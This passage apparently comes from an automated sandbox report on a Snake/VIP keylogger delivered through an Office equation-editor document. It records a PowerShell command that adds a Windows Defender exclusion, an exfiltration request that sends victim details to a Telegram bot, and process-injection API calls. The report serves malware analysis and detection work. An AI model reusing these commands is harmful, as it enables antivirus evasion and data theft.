2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49182	188.114.97.3	443	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:14:44 UTC	63	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-30 07:14:44 UTC	885	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:44 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 20507 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fp2RNbfNLnmMK8Msfpw%2Bz2DziaDDYadV4NR7Em9GoNdN4olgxSFWyMIF6%2FbXQ%2B4o7O8alBqjUYHyOKsRrkgZY6NgbYj1a60bHJ4d00miN95pGY25eoRS1gu7XUTHsUOr9y9qt5AO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da99c33ae7f359f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1174&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2427493&cwnd=243&unsent_bytes=0&cid=cb74297ddce064fd&ts=145&x=0"
2024-10-30 07:14:44 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49183	149.154.167.220	443	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:14:45 UTC	353	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:971342%0D%0ADate%20and%20Time:%2010/30/2024%20/%207:45:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20971342%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-30 07:14:45 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 30 Oct 2024 07:14:45 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-30 07:14:45 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	03:14:13
Start date:	30/10/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f0e0000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	03:14:14
Start date:	30/10/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:14:19
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"
Imagebase:	0xb00000
File size:	756'736 bytes
MD5 hash:	53A7577C1DE37E54A78A2B918EB0D8BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:14:24
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"
Imagebase:	0xd10000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:14:24
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"
Imagebase:	0xb00000
File size:	756'736 bytes
MD5 hash:	53A7577C1DE37E54A78A2B918EB0D8BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:14:39
Start date:	30/10/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	15%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.8%
Total number of Nodes:	109
Total number of Limit Nodes:	2

Executed Functions

Function 001B4924 Relevance: 1.6, APIs: 1, Instructions: 105
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationProcess.NTDLL(?,?,?,?,?), ref: 001B89D5

Memory Dump Source

Source File: 00000005.00000002.414074767.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_cmnjgyugo61000.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: c8194ea786ed844921176a608400125a35a5a9ba8333247e6ef7e415ab415fb2
Instruction ID: 4ce6fa1f85721822abbec706cfb0013474a639c65ccae71822af654628f188c5
Opcode Fuzzy Hash: c8194ea786ed844921176a608400125a35a5a9ba8333247e6ef7e415ab415fb2
Instruction Fuzzy Hash: 1F4176B8D04258DFCF10CFA9D984ADEFBB5BB49314F20902AE914B7210D735A915CFA9

Function 001B5CA9 Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.414074767.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b26d7f7f5768022d6ccc68f39020986254784e95819b23ab08f54fcc93ea887
Instruction ID: 28b886702c49f7f4e15f8c932170be7042d2e857feb518aa7e3a8d594d0a5f74
Opcode Fuzzy Hash: 3b26d7f7f5768022d6ccc68f39020986254784e95819b23ab08f54fcc93ea887
Instruction Fuzzy Hash: 0E427074E01229CFDB64CFA9C984B9DBBF2BF88310F1581A9D819A7355D734AA81CF50

Function 001B497B Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.414074767.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fdd3478ebd2a6dad16b43e93f70ee3e7fc8bb2ac2d178acaa79fc087bf49ad6
Instruction ID: 8eac2b46d23224cfe80222b8b124e3ce80d4b233cbe26748f40ee8d3aa999d69
Opcode Fuzzy Hash: 3fdd3478ebd2a6dad16b43e93f70ee3e7fc8bb2ac2d178acaa79fc087bf49ad6
Instruction Fuzzy Hash: 0632E370901298CFEB54DFA8C680A9DFBB2BF88311F55C599D448AB212CB30DD85CFA0

Function 001BA298 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.414074767.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c9f6ec903fb4e0a911e99bb8f86c638e603dce8cb535fcbb37878042af33ad
Instruction ID: 0e5ef5e2fb871c2d3422c3154d814e05911938b118a308f5bb3439ef06f3b84e
Opcode Fuzzy Hash: 48c9f6ec903fb4e0a911e99bb8f86c638e603dce8cb535fcbb37878042af33ad
Instruction Fuzzy Hash: 0A519F75D016199FDB08DFEAC8546EEFBF2FF88300F14802AE419AB254DB745A46CB41

Function 005F4310 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.414371502.00000000005F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347299671a7b76b1fa431cef14f6d1f0306509aca95a668b22146ebbb421ed47
Instruction ID: 5d90a6d13fc2faad8b990a008b648eb76841b7875a0984a8b9486ac05b370e6c
Opcode Fuzzy Hash: 347299671a7b76b1fa431cef14f6d1f0306509aca95a668b22146ebbb421ed47
Instruction Fuzzy Hash: 2B510971D05629CBEB28CF66C8047EABBB6BFC9300F14C5AAC50DA6254EB744A85CF40

Function 001BD6E0 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.414074767.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e579e431a5fb45d8d01af9c702abddaa1fa653e8ac37f05187656290f37272
Instruction ID: 1909d24b8c9bab9b1af20d87735ae3e9eb776a34ebe2a1242c54e43492973222
Opcode Fuzzy Hash: 49e579e431a5fb45d8d01af9c702abddaa1fa653e8ac37f05187656290f37272
Instruction Fuzzy Hash: BD412874E092188FDB0CCFAAE540AEEBBF6AF8D305F25D06AD419A7251EB344941DB50

Function 001B49D9 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.414074767.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3dbbd5bf7ea200b669f05f4d049c6753582804ef8baa52c96dc36a574f38622
Instruction ID: b08a7661604db14ac46dcf3430edb283677f385a84c6f429705c918d7c06ce3d
Opcode Fuzzy Hash: b3dbbd5bf7ea200b669f05f4d049c6753582804ef8baa52c96dc36a574f38622
Instruction Fuzzy Hash: 7241E770E006188FEB58DF6A88517DEBBB2BF89300F14C0BAD45DA7255DB304A858F51

Function 001BA28A Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.414074767.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2975625299417764b9e7f41493e802a11d49f5e3c687bc47b929ae0f25e70957
Instruction ID: c5a8238cbc5e90a9aa7f7aa7fdbddd0deea9fb949505ea4b89528124672152b1
Opcode Fuzzy Hash: 2975625299417764b9e7f41493e802a11d49f5e3c687bc47b929ae0f25e70957
Instruction Fuzzy Hash: E641C271E006589FDB08DFAAC8946EEFBF2AF89300F14C06AD418AB365DB345946CF41

Function 001BDE28 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.414074767.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_cmnjgyugo61000.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d768b3e71fe9e0f46efca2c6f13d76a3d2e0eeebea74d9f79e24f9ff6c0e3838
Instruction ID: 1ed0bbaa321a0b95b7e9a651145fc174e6c4f58546fd08d8f4a4e6e2444bc752
Opcode Fuzzy Hash: d768b3e71fe9e0f46efca2c6f13d76a3d2e0eeebea74d9f79e24f9ff6c0e3838
Instruction Fuzzy Hash: 6A21E4B0D056188BEB1CCFABD8547EEFAF6AFC9300F14C02AD50976264EB7419468F90

Function 005F2BF0 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 005F2EB7

Memory Dump Source

Source File: 00000005.00000002.414371502.00000000005F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_cmnjgyugo61000.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f90601068d0af6fc49427a271c79da689cc85493fe4df2034b18c36da87a6652
Instruction ID: aeb7530591a25907e79a79a3158135263770351e810d907df90fc576607a0b82
Opcode Fuzzy Hash: f90601068d0af6fc49427a271c79da689cc85493fe4df2034b18c36da87a6652
Instruction Fuzzy Hash: 28C106B1D0022D8FDB25CFA4C845BEEBBB1BF49300F1095A9E519B7240DB789A85CF95

Function 005F2851 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 005F292B

Memory Dump Source

Source File: 00000005.00000002.414371502.00000000005F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_cmnjgyugo61000.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 79dddf5499127592699b7954feeea9ef63dcde09fcb1f380218452c1e52507c0
Instruction ID: faf95ab5c3ddab9387a9b701cf09f2bf22055d17568f19b5fd5b575551012903
Opcode Fuzzy Hash: 79dddf5499127592699b7954feeea9ef63dcde09fcb1f380218452c1e52507c0
Instruction Fuzzy Hash: B541BDB4D012089FCF00CFA9D984AEEBBF1BB49310F20942AE814B7250D375A945CF64

Function 005F2858 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 005F292B

Memory Dump Source

Source File: 00000005.00000002.414371502.00000000005F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_cmnjgyugo61000.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7117c854ec6aa2d4cbfc89b91708f156c672ea2dff1b90800fa8536b410b8187
Instruction ID: 25a61c712f6acd6c325cd59213daec710e1e7da7b1b13a2bdda3fb56f498fccd
Opcode Fuzzy Hash: 7117c854ec6aa2d4cbfc89b91708f156c672ea2dff1b90800fa8536b410b8187
Instruction Fuzzy Hash: 51419EB4D012589FDF00CFA9D584AEEFBF1BB49310F24942AE914B7250D375A945CF64

Function 005F29B0 Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 005F2A6A

Memory Dump Source

Source File: 00000005.00000002.414371502.00000000005F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_cmnjgyugo61000.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: be958b0755f8919945322bc0c2ab403a90823e373800f3e509abe610ad0fc60c
Instruction ID: 3ce6fda8fe7aa3d9cc53853d6c56f207dc29e8f351a3267487e688b8e4c89fb3
Opcode Fuzzy Hash: be958b0755f8919945322bc0c2ab403a90823e373800f3e509abe610ad0fc60c
Instruction Fuzzy Hash: D641A8B9D002589FCF10CFA9D884AEEFBB1BB49310F24942AE815B7210D379A945CF65

Function 005F29B8 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 005F2A6A

Memory Dump Source

Source File: 00000005.00000002.414371502.00000000005F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_cmnjgyugo61000.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 7595201bf1bdeab0459506d15e6f5a9673cbc2b74ee2f88b816b34ca3144be1e
Instruction ID: ac15c4a6a6648761515572bba286184ecdaa1f08131883295f09fecc18956ec7
Opcode Fuzzy Hash: 7595201bf1bdeab0459506d15e6f5a9673cbc2b74ee2f88b816b34ca3144be1e
Instruction Fuzzy Hash: BB41BAB4D00258DFCF10CFA9D884AEEFBB1BB49310F24942AE814B7200D779A945CF65

Function 005F22F0 Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 005F23A2

Memory Dump Source

Source File: 00000005.00000002.414371502.00000000005F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_cmnjgyugo61000.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9a3447d381adde63b1ac524687729d77557ce254994f1c36b9935aa2e572dc21
Instruction ID: 9c8b2d48879a38a0fc5fef5e075a07a0c4f8a2bbecb14e33190b888470597568
Opcode Fuzzy Hash: 9a3447d381adde63b1ac524687729d77557ce254994f1c36b9935aa2e572dc21
Instruction Fuzzy Hash: 7541ACB8D002589FCF14CFA9D984AEEFBB1BF49310F20942AE915B7250D335A905DF55

Function 005F22F8 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 005F23A2

Memory Dump Source

Source File: 00000005.00000002.414371502.00000000005F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_cmnjgyugo61000.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f2e89da25ebbc02889a1d9a0b93fcf063f33677626853cb5737e71fa685a0a2b
Instruction ID: e201efb0ca58c42414c9f383fb95f11995473bfc690659821179f8c75b1b06a8
Opcode Fuzzy Hash: f2e89da25ebbc02889a1d9a0b93fcf063f33677626853cb5737e71fa685a0a2b
Instruction Fuzzy Hash: 24419AB4D002589FCF14CFA9D984AEEBBB1FB49310F20942AE914BB250D735A905DF65

Function 005F21C1 Relevance: 1.6, APIs: 1, Instructions: 97
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 005F2277

Memory Dump Source

Source File: 00000005.00000002.414371502.00000000005F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_cmnjgyugo61000.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 723ba7735dc6c398782d08ad29881cca0fcedbaeb8eef80753a4d3d1bac57886
Instruction ID: 8f8071ef66333c9591a75c00b3de1143a87d4da515f35813ca0140d5453d0d28
Opcode Fuzzy Hash: 723ba7735dc6c398782d08ad29881cca0fcedbaeb8eef80753a4d3d1bac57886
Instruction Fuzzy Hash: D141BAB4D00258DFDB10CFA9D884AEEBBF1BB49314F24842AE818B7240C738A945CF54

Function 005F21C8 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 005F2277

Memory Dump Source

Source File: 00000005.00000002.414371502.00000000005F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_cmnjgyugo61000.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 56775b863e6d7da1853919a01b46a499a2ac1e5730da51cde2e8b1867be34a59
Instruction ID: 537ffdfdc0c1e3de5c34278976696858610184586f7fca84ca9de0d40d44797f
Opcode Fuzzy Hash: 56775b863e6d7da1853919a01b46a499a2ac1e5730da51cde2e8b1867be34a59
Instruction Fuzzy Hash: E741ACB4D00258DFDB10DFAAD884AEEBBF1BB49314F24842AE418B7240D739A945CF64

Function 001B8B40 Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OutputDebugStringW.KERNEL32(?), ref: 001B995A

Memory Dump Source

Source File: 00000005.00000002.414074767.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_cmnjgyugo61000.jbxd

Similarity

API ID: DebugOutputString
String ID:
API String ID: 1166629820-0
Opcode ID: 08c2bf38a0763ba9bd9458795e45b05f126371d64dc828cf59de9bbe7c1ecbda
Instruction ID: 3f32a0bb0d98c2c4a9cd4296ee0bf0eda5856a959c517ae7e7be7b7800b997b9
Opcode Fuzzy Hash: 08c2bf38a0763ba9bd9458795e45b05f126371d64dc828cf59de9bbe7c1ecbda
Instruction Fuzzy Hash: D6319BB4D002199FCB14CFA9D584AEEFBF1AB49314F24906AE918B7310D334A946CFA5

Function 001B98BA Relevance: 1.6, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OutputDebugStringW.KERNEL32(?), ref: 001B995A

Memory Dump Source

Source File: 00000005.00000002.414074767.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_cmnjgyugo61000.jbxd

Similarity

API ID: DebugOutputString
String ID:
API String ID: 1166629820-0
Opcode ID: 24cdd0268c58d7e740176371faf591dc9448d850a90c7a680680807b879b4802
Instruction ID: a86f869f1ebabf8ff794d336124da6a2831b0d24afc3b9729c9ef278036f6aab
Opcode Fuzzy Hash: 24cdd0268c58d7e740176371faf591dc9448d850a90c7a680680807b879b4802
Instruction Fuzzy Hash: 4A31BDB4D002499FCF14CFA9D584ADEFBF1AF49304F24806AE819B7210D374A946CFA5

Function 005F20D8 Relevance: 1.6, APIs: 1, Instructions: 75
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(?), ref: 005F2156

Memory Dump Source

Source File: 00000005.00000002.414371502.00000000005F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_cmnjgyugo61000.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8afc5ddc9c4adddf808119984c4c44476c87d99d20c5e0ff6de16f804868ba1a
Instruction ID: b6a18869ae6457e9956a6fccd47eaf9209838847c725c881bcb5f52e4091bd8e
Opcode Fuzzy Hash: 8afc5ddc9c4adddf808119984c4c44476c87d99d20c5e0ff6de16f804868ba1a
Instruction Fuzzy Hash: 9B31AAB4D002189FDF14CFA9D984AAEFBB4BB89310F24942AE914B7200D735A905CF98

Function 001B99B0 Relevance: 1.3, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 001B9A36

Memory Dump Source

Source File: 00000005.00000002.414074767.00000000001B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_cmnjgyugo61000.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 2ac0cdd8abeedca38c4da12da73b78af25751ffaf3a668c93f5830d7a3817ddb
Instruction ID: e8b9e3cd367f1b9fa5a38383b63434b7c46a4d5acc0685137f3f3bc60a1ad255
Opcode Fuzzy Hash: 2ac0cdd8abeedca38c4da12da73b78af25751ffaf3a668c93f5830d7a3817ddb
Instruction Fuzzy Hash: 2631EDB4D04258DFCB10CFA9D484AEEFBF4AB49314F24906AE815B7310C378A946CFA5

Function 001B8B4C Relevance: 1.3, APIs: 1, Instructions: 75COMMON

